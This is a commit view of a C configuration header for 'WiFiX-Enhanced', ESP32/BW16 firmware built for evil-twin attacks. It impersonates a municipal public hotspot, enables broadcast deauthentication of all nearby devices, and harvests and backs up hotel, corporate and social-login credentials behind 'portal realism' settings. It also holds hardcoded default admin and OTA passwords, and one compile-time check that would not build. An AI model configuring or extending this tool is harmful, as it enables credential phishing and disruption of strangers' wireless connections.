chore: import local project into Gitea

This commit is contained in:
2026-05-20 10:03:16 -07:00
commit 7bd88d29b5
4043 changed files with 1056916 additions and 0 deletions

View File

@@ -0,0 +1,246 @@
/**
* WiFiX-Enhanced Configuration Template
*
* Copy this file to config.h and modify values as needed
* This file contains all configurable parameters for the system
*/
#ifndef CONFIG_H
#define CONFIG_H
// =============================================================================
// DEVICE CONFIGURATION
// =============================================================================
// Device identification
#define DEVICE_NAME "WiFiX_Enhanced"
#define DEVICE_VERSION "1.2.0"
#define HARDWARE_ID "BW16_ESP32"
// Operational modes
#define MODE_CAPTIVE_PORTAL 0
#define MODE_DEAUTH_ONLY 1
#define MODE_EVIL_TWIN 2
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
// =============================================================================
// NETWORK CONFIGURATION
// =============================================================================
// WiFi Access Point settings
#define DEFAULT_SSID "CityNet_Public_WiFi"
#define DEFAULT_PASSWORD "" // Empty for open network
#define HIDDEN_NETWORK false
#define MAX_CLIENTS 8
// Network addressing
#define AP_IP_ADDR "192.168.4.1"
#define AP_GATEWAY "192.168.4.1"
#define AP_SUBNET "255.255.255.0"
#define DHCP_START "192.168.4.10"
#define DHCP_END "192.168.4.50"
// Web server configuration
#define WEB_SERVER_PORT 80
#define DNS_PORT 53
#define CAPTIVE_PORTAL_DOMAIN "wifi.citynet.local"
#define REDIRECT_URL "http://192.168.4.1"
// =============================================================================
// HARDWARE PIN CONFIGURATION
// =============================================================================
// I2C for OLED display
#define I2C_SDA 21
#define I2C_SCL 22
#define OLED_ADDRESS 0x3C
#define OLED_RESET -1 // Not used for SSD1306
// SPI for SD card
#define SD_CARD_CS_PIN 5
#define SD_CARD_MOSI 23
#define SD_CARD_MISO 19
#define SD_CARD_CLK 18
// UART for BW16 communication
#define BW16_UART_TX 17
#define BW16_UART_RX 16
#define BW16_BAUD_RATE 115200
// Status LED (if available)
#define STATUS_LED_PIN 2
#define LED_ACTIVE_HIGH true
// =============================================================================
// FEATURE TOGGLES
// =============================================================================
#define ENABLE_SD_CARD true
#define ENABLE_OLED_DISPLAY true
#define ENABLE_SERIAL_DEBUG true
#define ENABLE_WEB_INTERFACE true
#define ENABLE_DNS_REDIRECT true
#define ENABLE_DEAUTHENTICATION true
#define ENABLE_CREDENTIAL_BACKUP true
#define ENABLE_AUTO_BACKUP true
// =============================================================================
// CREDENTIAL MANAGEMENT
// =============================================================================
// Storage limits
#define MAX_CREDENTIALS 100
#define CREDENTIAL_ENCRYPTION true
#define ENCRYPTION_KEY "WiFiX2024SecureKey!" // Change this!
// Backup configuration
#define BACKUP_TO_SD true
#define BACKUP_INTERVAL_MINUTES 5
#define MAX_BACKUP_FILES 10
#define BACKUP_FILE_PREFIX "credentials_"
// Credential types
#define CRED_TYPE_GENERIC 0
#define CRED_TYPE_HOTEL 1
#define CRED_TYPE_CORPORATE 2
#define CRED_TYPE_PUBLIC 3
#define CRED_TYPE_SOCIAL 4
// =============================================================================
// DEAUTHENTICATION SETTINGS
// =============================================================================
#define DEAUTH_CHANNEL_HOP true
#define DEAUTH_INTERVAL_MS 100
#define DEAUTH_MAX_RETRIES 3
#define DEAUTH_TARGETED_ONLY false // If true, only target specific MACs
#define DEAUTH_WHITELIST_SIZE 10
// Target MAC addresses (if DEAUTH_TARGETED_ONLY is true)
const char* TARGET_MACS[] = {
"FF:FF:FF:FF:FF:FF", // Broadcast (all devices)
"", // Add specific MACs here
"",
"",
""
};
// =============================================================================
// WEB INTERFACE SETTINGS
// =============================================================================
// Portal realism
#define PORTAL_COMPANY_NAME "CityNet Municipal WiFi"
#define PORTAL_LOGO_URL "/logo.png"
#define PORTAL_BACKGROUND_URL "/background.jpg"
#define SESSION_TIMEOUT_MINUTES 120
#define ENABLE_SOCIAL_LOGIN true
#define ENABLE_TERMS_ACCEPTANCE true
// Form validation
#define MIN_PASSWORD_LENGTH 6
#define REQUIRE_EMAIL_VALIDATION true
#define ENABLE_RATE_LIMITING true
#define MAX_LOGIN_ATTEMPTS 3
// =============================================================================
// SECURITY SETTINGS
// =============================================================================
// Encryption and hashing
#define USE_HTTPS false // Not recommended for captive portals
#define HASH_ALGORITHM "SHA256"
#define SALT_LENGTH 16
// Access control
#define ENABLE_PASSWORD_PROTECTION false
#define ADMIN_PASSWORD "admin123" // Change this!
#define ENABLE_REMOTE_ACCESS false
#define ALLOWED_IPS {"192.168.4.2"} // Admin IP
// =============================================================================
// DEBUGGING AND LOGGING
// =============================================================================
#define DEBUG_LEVEL 2 // 0=None, 1=Error, 2=Info, 3=Debug
#define ENABLE_SERIAL_LOG true
#define ENABLE_SD_LOG true
#define LOG_FILE_PREFIX "log_"
#define MAX_LOG_FILES 5
// Debug output macros
#if DEBUG_LEVEL >= 3
#define DEBUG_PRINT(x) Serial.print(x)
#define DEBUG_PRINTLN(x) Serial.println(x)
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
#elif DEBUG_LEVEL >= 2
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x) Serial.println(x)
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
#elif DEBUG_LEVEL >= 1
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTF(x, ...)
#else
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTF(x, ...)
#endif
// =============================================================================
// PERFORMANCE SETTINGS
// =============================================================================
// Memory management
#define ENABLE_MEMORY_MONITORING true
#define MEMORY_WARNING_THRESHOLD 80 // Percentage
#define ENABLE_AUTO_RESTART true
#define RESTART_INTERVAL_HOURS 24
// Timing
#define LOOP_DELAY_MS 10
#define WIFI_SCAN_INTERVAL_MS 5000
#define CLIENT_CHECK_INTERVAL_MS 1000
#define CREDENTIAL_SAVE_DELAY_MS 100
// =============================================================================
// ADVANCED SETTINGS
// =============================================================================
// Over-the-air updates (ESP32 only)
#define ENABLE_OTA_UPDATES true
#define OTA_PASSWORD "ota_update_2024" // Change this!
#define OTA_PORT 8266
// MQTT integration (optional)
#define ENABLE_MQTT false
#define MQTT_SERVER "192.168.1.100"
#define MQTT_PORT 1883
#define MQTT_USER ""
#define MQTT_PASSWORD ""
#define MQTT_TOPIC_PREFIX "wifix"
// Custom HTML/CSS/JS injection
#define ENABLE_CUSTOM_STYLING false
#define CUSTOM_CSS_FILE "/custom.css"
#define CUSTOM_JS_FILE "/custom.js"
// =============================================================================
// VALIDATION AND SANITY CHECKS
// =============================================================================
// Ensure critical settings are valid
#if MAX_CREDENTIALS > 500
#error "MAX_CREDENTIALS too high for available memory"
#endif
#if !defined(ENCRYPTION_KEY) || strlen(ENCRYPTION_KEY) < 16
#error "ENCRYPTION_KEY must be at least 16 characters"
#endif
#if ENABLE_OTA_UPDATES && !defined(OTA_PASSWORD)
#error "OTA_PASSWORD must be defined if OTA updates are enabled"
#endif
// =============================================================================
#endif // CONFIG_H